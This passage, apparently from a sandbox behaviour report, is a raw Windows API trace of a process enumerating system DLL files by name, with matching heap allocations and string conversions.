lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.432] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.432] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.432] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.433] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x226c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.433] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x226c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.433] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x226c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.433] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.433] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.433] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x226c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.434] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x226c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.434] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x226c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.434] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.434] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.434] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.435] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x226c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.435] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x226c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.435] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x226c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0140.435] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.435] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.436] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.436] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x226c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 